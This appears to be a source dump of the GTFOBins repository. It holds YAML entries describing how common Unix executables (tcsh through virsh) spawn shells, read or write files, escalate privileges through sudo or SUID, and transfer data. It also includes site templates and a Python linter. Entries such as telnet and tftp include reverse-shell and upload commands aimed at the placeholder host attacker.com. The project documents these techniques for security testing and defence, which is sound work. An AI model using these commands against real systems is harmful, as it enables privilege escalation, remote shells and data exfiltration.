unprivileged: shell: - code: |- tcsh contexts: sudo: suid: code: |- tcsh -b unprivileged: ... ================================================ FILE: _gtfobins/tdbtool ================================================ --- functions: shell: - code: |- tdbtool ! /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tee ================================================ --- functions: file-write: - code: |- echo DATA | tee /path/to/output-file comment: |- Use `-a` to append data to exising files. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/telnet ================================================ --- functions: reverse-shell: - code: |- mkfifo /path/to/temp-socket telnet attacker.com 12345 /path/to/temp-socket comment: |- The shell process is not spawn by `openssl`. contexts: sudo: suid: unprivileged: shell: - code: |- telnet !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/terraform ================================================ --- functions: file-read: - binary: false code: |- terraform console file("/path/to/input-file") contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tex ================================================ --- functions: shell: - code: |- tex --shell-escape '\immediate\write18{/bin/sh}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tftp ================================================ --- functions: download: - code: |- tftp attacker.com get /path/to/input-file contexts: sudo: suid: unprivileged: sender: code: |- atftpd --no-fork --verbose --daemon --no-fork --user root.root . comment: |- A TFTP server can be used on the attacker box to send the data. upload: - code: |- tftp attacker.com put /path/to/input-file contexts: sudo: suid: unprivileged: receiver: code: |- atftpd --no-fork --verbose --daemon --no-fork --user root.root . comment: |- A TFTP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/tic ================================================ --- functions: file-read: - code: |- tic -C /path/to/input-file comment: |- This translates a terminfo file from source format into compiled format. It will attempt to translate an arbitrary file and output the contents of the file on failure. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/time ================================================ --- functions: shell: - code: |- time /bin/sh comment: |- Note that the shell might have its own builtin `time` implementation, which may behave differently than the binary, which is often located at `/usr/bin/time`. contexts: sudo: suid: code: |- time /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/timedatectl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: inherit: - code: |- timedatectl list-timezones contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/timeout ================================================ --- functions: shell: - code: |- timeout 0 /bin/sh contexts: sudo: suid: code: |- timeout 0 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/tmate ================================================ --- functions: shell: - code: |- tmate -c /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tmux ================================================ --- functions: file-read: - binary: false code: |- tmux -f /path/to/input-file comment: |- The file is read and parsed as a `tmux` configuration file, part of the first invalid line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- tmux -c /bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- tmux -S /path/to/socket comment: |- Provided to have enough permissions to access the socket (e.g., `/tmp/tmux-xxx/default`). contexts: sudo: suid: unprivileged: version: |- < 3.3 ... ================================================ FILE: _gtfobins/top ================================================ --- functions: shell: - code: |- echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc top # press return twice reset comment: |- The config path might be different. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/torify ================================================ --- functions: shell: - code: |- torify /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/torsocks ================================================ --- functions: shell: - code: |- torsocks /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/troff ================================================ --- functions: file-read: - binary: false code: |- troff /path/to/input-file comment: |- The file is typeset but text is still readable in the output, alternatively the output can be read with `man -l`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tsc ================================================ --- functions: file-read: - binary: false code: |- tsc /path/to/input-file.ts comment: |- Content is leaked as error messages. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc. contexts: sudo: unprivileged: file-write: - binary: false code: |- tsc /path/to/input-file.ts --outFile /path/to/output-file comment: |- Content is leaked as error messages and written to file. The file extension must be one of the supported ones, e.g., `.ts`, `.tsx`, etc. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/tshark ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file tshark -Xlua_script:/path/to/temp-file comment: |- This allows to run Lua code (`...`). contexts: sudo: unprivileged: from: lua ... ================================================ FILE: _gtfobins/ul ================================================ --- functions: file-read: - binary: false code: |- ul /path/to/input-file comment: |- The read file content is corrupted by replacing occurrences of `$'\b_'` to terminal sequences and by converting tabs to spaces. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/unexpand ================================================ --- functions: file-read: - binary: false code: |- unexpand -t999 /path/to/input-file comment: |- Convert sequences of (e.g., `999`) spaces to tab. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uniq ================================================ --- functions: file-read: - binary: false code: |- uniq /path/to/input-file comment: |- The read file content is corrupted by squashing multiple adjacent lines. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/unshare ================================================ --- functions: shell: - code: |- unshare /bin/sh contexts: sudo: suid: code: |- unshare -r /bin/sh unprivileged: ... ================================================ FILE: _gtfobins/unsquashfs ================================================ --- comment: |- `unsquashfs` preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh mksquashfs sh shell ``` functions: privilege-escalation: - code: |- unsquashfs shell ./squashfs-root/sh -p contexts: sudo: suid: ... ================================================ FILE: _gtfobins/unzip ================================================ --- comment: |- Certain `unzip` versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh zip shell.zip sh ``` functions: privilege-escalation: - code: |- unzip -K shell.zip ./sh -p contexts: sudo: suid: ... ================================================ FILE: _gtfobins/update-alternatives ================================================ --- functions: file-write: - code: |- echo DATA >/path/to/temp-file update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0 comment: |- Write in `/path/to/output-file` a symlink to `/path/to/temp-file`. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/urlget ================================================ --- functions: file-read: - code: |- urlget - /path/to/input-file comment: |- This is part of `gettext` and usually not in `PATH`, e.g., on Arch it can be found at `/usr/lib/gettext/urlget`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uuencode ================================================ --- functions: file-read: - binary: false code: |- uuencode /path/to/input-file /dev/stdout | uudecode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/uv ================================================ --- functions: shell: - code: |- uv run /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/vagrant ================================================ --- functions: inherit: - code: |- echo '...' >Vagrantfile vagrant up comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/valgrind ================================================ --- functions: shell: - code: |- valgrind /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/varnishncsa ================================================ --- comment: |- A running `varnishd` instance must be available. functions: file-write: - binary: false code: |- varnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-file comment: |- The command hangs, so the trigger command must be performed asynchronously or in another terminal: ``` curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/vi ================================================ --- functions: file-read: - code: |- vi /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- vi /path/to/output-file iDATA ^[ w comment: |- Where `^[` is the escape key. contexts: sudo: suid: unprivileged: shell: - code: |- vi -c ':!/bin/sh' /dev/null contexts: sudo: suid: shell: true unprivileged: - code: |- vi -c ':shell' contexts: sudo: suid: shell: true unprivileged: - code: |- vi -c ':set shell=/bin/sh | shell' contexts: sudo: suid: code: |- vi -c ':set shell=/bin/sh\ -p | shell' shell: false unprivileged: - code: |- vi -c :terminal /bin/sh contexts: sudo: suid: code: |- vi -c ':terminal /bin/sh -p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/view ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/vigr ================================================ --- functions: inherit: - code: |- vigr comment: |- Despite requiring superuser privileges to run, the editor is executed as the unprivileged user. contexts: sudo: suid: from: vi ... ================================================ FILE: _gtfobins/vim ================================================ --- functions: file-read: - binary: false code: |- vim -c ':redir! >/path/to/output-file | echo "DATA" | redir END | q' contexts: sudo: suid: unprivileged: inherit: - code: |- vim -c ':py ...' comment: |- This allows to run Python code (`...`). contexts: sudo: suid: unprivileged: from: python - code: |- vim -c ':lua ...' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua - code: |- vim contexts: sudo: suid: unprivileged: from: vi ... ================================================ FILE: _gtfobins/vimdiff ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/vipw ================================================ --- functions: inherit: - code: |- vipw comment: |- Despite requiring superuser privileges to run, the editor is executed as the unprivileged user. contexts: sudo: suid: from: vi ... ================================================ FILE: _gtfobins/virsh ================================================ --- functions: command: - code: |- cat >/path/to/temp-file.xml < x hvm 1 ================================================ FILE: _includes/page_title.html ================================================

{%- if page.url != '/' -%} .. / {{ include.title }} {%- else -%} GTFOBins {%- endif -%}
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================================================ FILE: _layouts/common.html ================================================ {%- if page.layout == 'gtfobin' -%} {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=page.path -%}{%- endcapture -%} {%- capture title -%}{{ gtfobin_name }}{{ ' | ' }}{{ site.title }}{%- endcapture -%} {%- capture description -%}Living off the land using "{{ gtfobin_name }}".{%- endcapture -%} {%- else -%} {%- capture title -%}{%- if page.url != '/' -%}{{ page.title }}{{ ' | ' }}{%- endif -%}{{ site.title }}{%- endcapture -%} {%- assign description = page.description -%} {%- endif -%} {{ title }} {{ content }} ================================================ FILE: _layouts/gtfobin.html ================================================ --- layout: common --- {%- assign original_gtfobin = page -%} {%- comment -%} get the default context name to use it as default {%- endcomment -%} {%- assign default_context_name = site.data.contexts | first | first -%} {%- comment -%} executable title {%- endcomment -%} {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=original_gtfobin.path -%}{%- endcapture -%} {%- include page_title.html title=gtfobin_name -%} {%- comment -%} resolve the alias {%- endcomment -%} {%- if original_gtfobin.alias -%} {%- include get_gtfobin.html name=original_gtfobin.alias -%} {%- assign gtfobin = return_gtfobin -%} {%- comment -%} render a message about being an alias {%- endcomment -%}

This is an alias of {{ return_gtfobin_name }}.

{%- else -%} {%- assign gtfobin = original_gtfobin -%} {%- endif -%} {%- comment -%} function list {%- endcomment -%} {%- include function_list.html gtfobin=original_gtfobin functions=gtfobin.functions -%} {%- comment -%} global executable comment {%- endcomment -%} {%- if gtfobin.comment -%}
Comment {{ gtfobin.comment | markdownify }}
{%- endif -%} {%- comment -%} scan all the available functions in order to find those present {%- endcomment -%} {%- for function_item in site.data.functions -%} {%- assign function_name = function_item[0] -%} {%- assign function = function_item[1] -%} {%- unless gtfobin.functions contains function_name -%}{%- continue -%}{%- endunless -%} {%- assign examples = gtfobin.functions[function_name] -%} {%- comment -%} function title and global description {%- endcomment -%}

{{- function.label -}}

{{ function.description | markdownify }} {%- comment -%} list of function examples {%- endcomment -%}
    {%- for example in examples -%}
  • {%- comment -%} build the identifier of this example {%- endcomment -%} {%- capture example_id -%}{{ function_name }}-{{ forloop.index }}{%- endcapture -%} {%- comment -%} version {%- endcomment -%} {%- if example.version -%}
    Version requirements {{ example.version | markdownify }}
    {%- endif -%} {%- comment -%} example comment {%- endcomment -%} {%- if example.comment -%}
    Comment {{ example.comment | markdownify }}
    {%- endif -%} {%- comment -%} list of contexts for each example {%- endcomment -%}
    {%- comment -%} scan all the available contexts in order to find those present falling back to the default {%- endcomment -%} {%- assign first = true -%} {%- for context_item in site.data.contexts -%} {%- assign context_name = context_item[0] -%} {%- assign context = context_item[1] -%} {%- unless example.contexts contains context_name or example.contexts == nil and context_name == default_context_name -%}{%- continue -%}{%- endunless -%} {%- assign per_context_info = example.contexts[context_name] -%} {%- comment -%} context information {%- endcomment -%} {%- capture context_id -%}{{ example_id }}-{{ context_name }}{%- endcapture -%}
    {%- comment -%} global context description {%- endcomment -%} {{ context.description | markdownify }} {%- comment -%} additional per-context content {%- endcomment -%} {%- case context_name -%} {%- when "sudo" -%}
    Remarks {{ context.extra.environment | markdownify }}
    {%- when "suid" -%} {%- if per_context_info.shell != nil -%}
    Remarks {%- if per_context_info.shell -%} {{ context.extra.shell[true] | markdownify }} {%- else -%} {{ context.extra.shell[false] | markdownify }} {%- endif -%}
    {%- endif -%} {%- when "capabilities" -%}

    {{ context.extra.list }}{{ ' ' }} {%- for capability in per_context_info.list -%} {{ capability | escape }} {%- if forloop.last -%}.{%- else -%}{{ ', ' }}{%- endif -%} {%- endfor -%}

    {%- endcase -%} {%- comment -%} optional local comment {%- endcomment -%} {%- if per_context_info.comment -%}
    Comment {{ per_context_info.comment | markdownify }}
    {%- endif -%} {%- comment -%} use the common code or the specialized per-context version {%- endcomment -%} {%- capture code -%}{%- if per_context_info.code -%}{{ per_context_info.code }}{%- else -%}{{ example.code }}{%- endif -%} {%- endcapture -%} 
    {{- code | escape | strip -}}
    {%- assign first = false -%} {%- endfor -%}
    {%- comment -%} additional per-function content {%- endcomment -%} {%- case function_name -%} {%- when "shell", "command", "reverse-shell", "bind-shell" -%} {%- if example.blind -%}
    Output {{ function.extra.blind[true] | markdownify }}
    {%- endif -%} {%- when "file-write", "file-read", "upload", "download" -%} {%- if example.binary == false -%}
    Remarks {{ function.extra.binary[false] | markdownify }}
    {%- endif -%} {%- when "shell", "reverse-shell", "bind-shell" -%} {%- if example.tty == false -%}
    TTY {{ function.extra.tty[false] | markdownify }}
    {%- endif -%} {%- when "reverse-shell" -%} {%- if example.listener -%} {%- assign known = function.extra.listener[example.listener] -%} {%- assign comment = known.comment | default: example.listener.comment -%} {%- assign code = known.code | default: example.listener.code -%}
    Listener {{ comment | markdownify }} {%- if code -%} 
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "bind-shell" -%} {%- if example.connector -%} {%- assign known = function.extra.connector[example.connector] -%} {%- assign comment = known.comment | default: example.connector.comment -%} {%- assign code = known.code | default: example.connector.code -%}
    Connector {{ comment | markdownify }} {%- if code -%} 
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "upload" -%} {%- if example.receiver -%} {%- assign known = function.extra.receiver[example.receiver] -%} {%- assign comment = known.comment | default: example.receiver.comment -%} {%- assign code = known.code | default: example.receiver.code -%}
    Receiver {{ comment | markdownify }} {%- if code -%} 
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "download" -%} {%- if example.sender -%} {%- assign known = function.extra.sender[example.sender] -%} {%- assign comment = known.comment | default: example.sender.comment -%} {%- assign code = known.code | default: example.sender.code -%}
    Sender {{ comment | markdownify }} {%- if code -%} 
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "library-load" -%}
    Payload {{ function.extra.payload | markdownify }}
    {%- endcase -%} {%- comment -%} add a link to the inheriting executable and display the functions {%- endcomment -%} {%- if function_name == "inherit" -%} {%- include get_gtfobin.html name=example.from -%} {%- assign gtfobin = return_gtfobin -%}
    Functions

    Inherits from {{ example.from | escape }}, thus possibly granting the following functions:

    {%- include function_list.html gtfobin=gtfobin functions=gtfobin.functions -%}

    {%- endif -%}
    • {%- endfor -%}
{%- endfor -%} {%- comment -%} footer with some GitHub links about this executable {%- endcomment -%}

Source | History

================================================ FILE: _layouts/page.html ================================================ --- layout: common --- {%- include page_title.html title=page.title -%} {{ content }} ================================================ FILE: api.json ================================================ --- --- { "functions": {{ site.data.functions | jsonify -}}, "contexts": {{ site.data.contexts | jsonify -}}, "executables": { {%- for gtfobin in site.gtfobins -%} {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%} {{ name | jsonify -}}: { {%- assign root_fields = 'comment,functions,alias' | split: ',' -%} {%- assign comma = false -%} {%- for field in root_fields -%} {%- if gtfobin[field] -%} {%- if comma -%},{%- endif -%} {%- assign comma = true -%} {{- field | jsonify -}}: {{- gtfobin[field] | jsonify -}} {%- endif -%} {%- endfor -%} } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} } } ================================================ FILE: assets/style.scss ================================================ --- --- :root[data-theme=dark] { --foreground: #e6e6e6; --background: #0f0f0f; --faint: #666666; --lighter: #2a1212; --marked: #5a1a1a; --hover: #ff4d4d; } :root[data-theme=light] { --foreground: #000000; --background: #ffffff; --faint: #999999; --lighter: #fff4f4; --marked: #ffcccc; --hover: #ff0000; } :root[data-theme=dark] { .light-theme { display: none; } } :root[data-theme=light] { .dark-theme { display: none; } } $accent: #bf0707; $logo-backdrop: #ffffff; $foreground: var(--foreground); $background: var(--background); $faint: var(--faint); $lighter: var(--lighter); $marked: var(--marked); $hover: var(--hover); $default-font-size: 16px; $code-font-size: 13px; $small-font-size: 14px; // layout $column-width: 800px; $grace-space: 200px; $layout-break: "(min-width: #{$column-width + $grace-space})"; @media #{$layout-break} { body { width: $column-width; margin-left: auto; margin-right: auto; margin-top: 40px; } p { text-align: justify; } } @media not all and #{$layout-break} { .github-corner { display: none; } } // common tags body { font-family: system-ui, sans-serif; font-size: $default-font-size; color: $foreground; background: $background; } code { font-size: $code-font-size; padding: 0.15em 0.25em; border-radius: 0.25em; color: $accent; background: $lighter; } pre { background: $lighter; font-size: $code-font-size; margin: 1rem 0; // to be coherent with the regular-sized text position: relative; overflow: hidden; code { display: block; border-radius: 0; padding: 1em; width: 100%; box-sizing: border-box; overflow-x: auto; } button { display: none; position: absolute; top: 0; right: 0; cursor: pointer; outline: none; padding: 0.25em 0.5em; border: 5px solid $background; border-top: none; border-right: none; color: $accent; background-color: $lighter; &:hover { color: $hover; } &:active { color: $lighter; // just to give some click feedback } } &:hover button { display: block; } } dt { font-weight: bold; } blockquote { margin: 1em 0; p { padding: 1em; margin: 0; background: $lighter; } } hr { border: none; height: 1px; background: $foreground; } a { &:link, &:visited { color: $accent; } &:hover { color: $hover; & > *:not(svg) { // XXX not for the GitHub corner color: $hover; } } } p { line-height: 1.25; } fieldset { border: 1px solid $faint; position: relative; margin: 1em 0; padding: 0 1em; min-width: 0; // XXX needed to avoid outgrow with code blocks legend { color: $accent; font-size: $small-font-size; padding: 0 0.5em; position: absolute; background-color: $background; top: -0.5lh; } } ::selection { background-color: $foreground; color: $background; } // page title h1 { display: flex; column-gap: 0.5rem; row-gap: 0.5rem; flex-wrap: wrap; align-items: center; justify-content: space-between; .buttons { display: flex; column-gap: 0.5rem; row-gap: 0.5rem; flex-wrap: wrap; a.github-button { visibility: hidden; // XXX avoid displaying the link text during loading } span { display: flex; // XXX get rid of sapce around } #theme-switcher { display: flex; align-items: center; cursor: pointer; user-select: none; &:hover { color: $hover; } } } } // permalink on headings h2, h3, h4, h5, h5 { .permalink { margin-left: 5px; text-decoration: none; visibility: hidden; &::before { content: "#"; } } &:target { border-left: 5px solid $accent; padding-left: 5px; } &:hover { .permalink { visibility: visible; } } } // list and search #search-toolbox { padding-top: 1px; // XXX needed for scrollIntoView margin-top: 80px; margin-bottom: 20px; position: relative; // XXX needed for tooltip sizing fieldset { padding: 1em; border-color: $accent; legend { color: $foreground; font-size: initial; font-weight: bold; } } .search-filters { display: flex; flex-wrap: wrap; justify-content: center; a { background: $lighter; font-size: initial; border-radius: 0.25em; &:hover:before { content: attr(data-title); font-size: $small-font-size; text-align: center; display: block; position: absolute; left: 10%; right: 10%; margin-top: 1.75rem; // XXX below the button padding: 1em; color: $background; background: $foreground; border-radius: 0.25em; pointer-events: none; z-index: 1; } } } input { // enlarge the click area margin: -1rem; padding: 1rem; background: transparent; // adjust the width due to negative padding width: calc(100% + 2rem); color: $foreground; font-size: 1rem; box-sizing: border-box; outline: none; border: none; } } #gtfobin-table-wrapper { min-height: 100vh; #gtfobin-table { width: 100%; border-spacing: 0; &, th, td { border: none; } thead { th { padding: 1em; text-align: left; &:last-child { width: 100%; } } } tbody { th { padding: 0 1em; font-family: monospace; white-space: nowrap; font-weight: normal; text-align: left; a { text-decoration: none; } } td { padding: 0.5em 1em; } tr:hover { background: $lighter; } } tfoot { text-align: center; padding: 1em; } } } // function and contexts buttons used in both the table and single pages .tag-list { display: flex; flex-wrap: wrap; font-size: $small-font-size; list-style: none; column-gap: 0.25em; row-gap: 0.25em; padding: 0; margin: 0; li { a { display: inline-block; padding: 0.25em 0.5em; border: 1px solid $accent; } a:link, a:visited { color: $accent; text-decoration: none; } a:hover { color: $hover; border-color: $hover; } &.match a { background: $marked; &[data-matching-contexts]::after { content: " (" attr(data-matching-contexts) ")"; } } &.inherit a { border-style: dashed; } } } // function examples .examples { display: table; width: 100%; table-layout: fixed; counter-reset: item; margin: 0; padding: 0; & > li { display: table-row; &:before { display: table-cell; font-size: $small-font-size; font-weight: bold; width: 3em; text-align: center; counter-increment: item; content: "(" counter(item, lower-alpha) ")"; } } } // context tabs .contexts { display: flex; flex-wrap: wrap; margin: 1em 0; input[type=radio] { display: none; &:checked + label { color: $accent; background: $background; cursor: auto; } &:checked + label + div { display: block; } } & > label { font-size: $small-font-size; margin-left: 0.5em; padding: 0.25em 0.5em; border: 1px solid $faint; border-bottom: none; cursor: pointer; position: relative; top: 1px; &:hover { color: $hover; } } & > div { display: none; flex-basis: 100%; width: 0px; // XXX avoid growing order: 999; padding: 0 1em; border: 1px solid $faint; } } // description table .description-table { border-collapse: collapse; tbody { th { white-space: nowrap; text-align: right; } th, td { border: 1px solid $foreground; padding: 0 0.5em; } } } // other classes .accent { color: $accent; } .hidden { display: none; } .logo { $margin: 20px; float: right; width: 100px; height: 100px; margin-left: $margin; margin-bottom: $margin; pointer-events: none; background-color: $logo-backdrop; border: 1px solid $logo-backdrop; } .small { font-size: $small-font-size; } .centered { text-align: center; } svg.github-corner { fill: $foreground; color: $background; } ================================================ FILE: index.md ================================================ --- layout: page title: GTFOBins description: GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. --- ![GTFOBins logo]({{ '/assets/logo.png' | relative_url }}){:.logo} {{ page.description }} The project [collects]({{ '/scope/' | relative_url }}) legitimate functions of Unix-like executables that can be abused to ~~get the f**k~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate other post-exploitation tasks. GTFOBins is a joint effort by [Emilio Pinna][norbemi] and [Andrea Cardaci][cyrus_and], and many other [contributors][]. Everyone can [get involved]({{ '/contributing/' | relative_url }}) by providing additional entries and techniques! If you are looking for Windows binaries you should visit [LOLBAS][]. > Please note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain executables available. [GitHub][] | [Get involved]({{ '/contributing/' | relative_url }}) | [Contributors][contributors] | [JSON API]({{ '/api.json' | relative_url }}) | [MITRE ATT&CK® Navigator](https://mitre-attack.github.io/attack-navigator/#layerURL={{ '/mitre.json' | absolute_url }}) {:.centered} [contributors]: https://github.com/GTFOBins/GTFOBins.github.io/graphs/contributors [norbemi]: https://x.com/norbemi [cyrus_and]: https://x.com/cyrus_and [LOLBAS]: https://lolbas-project.github.io/ [GitHub]: https://github.com/GTFOBins/GTFOBins.github.io
{%- include gtfobins_table.html -%}
================================================ FILE: linter/__main__.py ================================================ from . import linter import argparse import os import re import sys def report_fail(name, error): print(f'\x1b[31;1mFAIL\x1b[0m {name}') print(f' - {error}') def report_pass(name): print(f'\x1b[32;1mPASS\x1b[0m {name}') def run(check_only, verbose): # move into the GTFOBins directory os.chdir('_gtfobins') # process all the entries for name in sorted(os.listdir()): # check for old-version files if re.search(r'\.(md|yaml|yml)$', name): report_fail(name, 'entries must have no extension') return False # check linter errors if error := linter.lint(name, check_only): report_fail(name, error) return False # otherwise pass if verbose: report_pass(name) return True def main(): # parse argumenst parser = argparse.ArgumentParser() parser.add_argument('-c', '--check-only', action='store_true') parser.add_argument('-v', '--verbose', action='store_true') args = parser.parse_args() # start! sys.exit(not run(**vars(args))) main() ================================================ FILE: linter/dumper.py ================================================ from .error import LinterError import yaml class _Dumper(yaml.SafeDumper): pass # use pipe style for certain string fields class _BlockString(str): pass def _block_string_representer(dumper, data): return dumper.represent_scalar('tag:yaml.org,2002:str', data, style='|') _Dumper.add_representer(_BlockString, _block_string_representer) def _ensure_block_style(o): match o: case dict(): return { k: (_BlockString(v) if k in ('code', 'comment', 'version') else _ensure_block_style(v)) for k, v in o.items() } case list(): return [ _ensure_block_style(v) for v in o ] case _: return o # omit explicit null def _none_representer(dumper, _): return dumper.represent_scalar('tag:yaml.org,2002:null', '') _Dumper.add_representer(type(None), _none_representer) ### def dump(text, data, path, check_only): # serialize the data object data = _ensure_block_style(data) formatted = yaml.dump(data, Dumper=_Dumper, explicit_start=True, explicit_end=True) # if not properly formatted if formatted != text: if check_only: # report error raise LinterError('schema OK but invalid format, please run the formatter') else: # write the formatted file with open(path, 'w') as fs: fs.write(formatted) ================================================ FILE: linter/error.py ================================================ class LinterError(BaseException): ... ================================================ FILE: linter/linter.py ================================================ from . import dumper from . import loader from . import schema from .error import LinterError def lint(path, check_only): try: # load the YAML file text, data = loader.load(path) # validate the content schema.validate(data) # save or check the formatted YAML file dumper.dump(text, data, path, check_only) except LinterError as e: return str(e) ================================================ FILE: linter/loader.py ================================================ from .error import LinterError import yaml def load(path): # try to load the YAML file reporting parsing errors try: with open(path, 'r') as fs: text = fs.read() data = yaml.safe_load(text) return text, data except yaml.YAMLError as e: raise LinterError(f'{e.problem} at line {e.problem_mark.line}') ================================================ FILE: linter/requirements.txt ================================================ pyyaml ~= 6.0.3 schema ~= 0.7.8 ================================================ FILE: linter/schema.py ================================================ from .error import LinterError from pathlib import Path import schema import yaml def _string(x): if isinstance(x, str) and x == x.strip() and len(x) > 0: return True else: raise schema.SchemaError(f'{x!r} should be a non-empty space-trimmed string') def _check_code_coherence(example): has_code = bool(example.get('code')) all_contexts_have_code = all( context and context.get('code') for context in example.get('contexts', {}).values() ) if has_code != all_contexts_have_code: return True else: raise schema.SchemaError(f'{example!r} should provide the code') def _context(name, per_context_schema): return { schema.Optional(name): schema.Or(None, { schema.Optional('code'): _string, schema.Optional('comment'): _string, **per_context_schema, }) } def _gtfobin(name): if name in _gtfobins: return True else: raise schema.SchemaError(f'{name!r} does not exist') def _function(name, per_function_schema): return { schema.Optional(name): schema.And(len, [ schema.And({ schema.Optional('code'): _string, schema.Optional('comment'): _string, schema.Optional('version'): schema.Or(_string, int, float), schema.Optional('mitre'): [ schema.Regex(r'^T[0-9]+$'), ], **per_function_schema, 'contexts': { **_context('unprivileged', { }), **_context('sudo', { }), **_context('suid', { schema.Optional('shell'): bool, }), **_context('capabilities', { schema.Optional('list'): schema.And(len, [ schema.Regex(r'^CAP_[A-Z_]+$'), ]), }), } }, _check_code_coherence), ]), } _root = Path(__file__).parent / '..' _functions = yaml.safe_load((_root / '_data' / 'functions.yml').read_text()); _gtfobins = {file.name for file in (_root / '_gtfobins').iterdir()} _additional_example = { schema.Or('code', 'comment'): _string, } _binary = { schema.Optional('binary'): bool, } _blind = { schema.Optional('blind'): bool, } _tty = { schema.Optional('tty'): bool, } _listener = { schema.Optional('listener'): schema.Or( _additional_example, *_functions['reverse-shell']['extra']['listener'].keys(), ) } _connector = { schema.Optional('connector'): schema.Or( _additional_example, *_functions['bind-shell']['extra']['connector'].keys(), ) } _receiver = { schema.Optional('receiver'): schema.Or( _additional_example, *_functions['upload']['extra']['receiver'].keys(), ) } _sender = { schema.Optional('sender'): schema.Or( _additional_example, *_functions['download']['extra']['sender'].keys(), ) } _SCHEMA = schema.Or( { 'alias': _string, }, { schema.Optional('comment'): _string, 'functions': schema.And(len, { **_function('shell', { **_tty, **_blind, }), **_function('command', { **_blind, }), **_function('reverse-shell', { **_tty, **_blind, **_listener, }), **_function('bind-shell', { **_tty, **_blind, **_connector, }), **_function('file-write', { **_binary, }), **_function('file-read', { **_binary, }), **_function('upload', { **_binary, **_receiver, }), **_function('download', { **_binary, **_sender, }), **_function('library-load', { }), **_function('privilege-escalation', { }), **_function('inherit', { 'from': _gtfobin, }), }), } ) def validate(data): try: _SCHEMA.validate(data) except schema.SchemaError as e: raise LinterError(str(e.autos[-1])) ================================================ FILE: mitre.json ================================================ --- --- {%- comment -%}capture the entries that have MITRE ids assigned {%- endcomment -%} {%- assign techniques = '' | split: '' -%} {%- for gtfobin in site.gtfobins -%} {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%} {%- for function_item in gtfobin.functions -%} {%- assign function_name = function_item[0] -%} {%- assign function = function_item[1] -%} {%- for example in function -%} {%- assign mitre = example.mitre | default: site.data.functions[function_name].mitre -%} {%- for technique in mitre -%} {%- capture item -%}{{ technique }},{{ name }},{{ function_name }},{{ gtfobin.url | absolute_url }}{%- endcapture -%} {%- assign item = item | split: ',' -%} {%- assign techniques = techniques | push: item -%} {%- endfor -%} {%- endfor -%} {%- endfor -%} {%- endfor -%} { "name": {{ site.title | jsonify }}, "versions": { "attack": "18", "navigator": "5.2.0", "layer": "4.5" }, "links": [ { "label": "GTFOBins", "url": {{ '/' | absolute_url | jsonify }} } ], "layout": { "expandedSubtechniques": "annotated" }, "domain": "enterprise-attack", "filters": { "platforms": [ "Linux", "macOS" ] }, "showTacticRowBackground": true, "tacticRowBackground": "#bf0707", "techniques": [ {%- assign techniques = techniques | group_by_exp: "item", "item[0]" -%} {%- for group in techniques -%} {%- assign technique = group.name -%} {%- assign gtfobins = '' | split: '' -%} {%- for item in group.items -%} {%- capture fields -%},{{ item[1] }},{{ item[2] }},{{ item[3] }}{%- endcapture -%} {%- assign gtfobins = gtfobins | push: 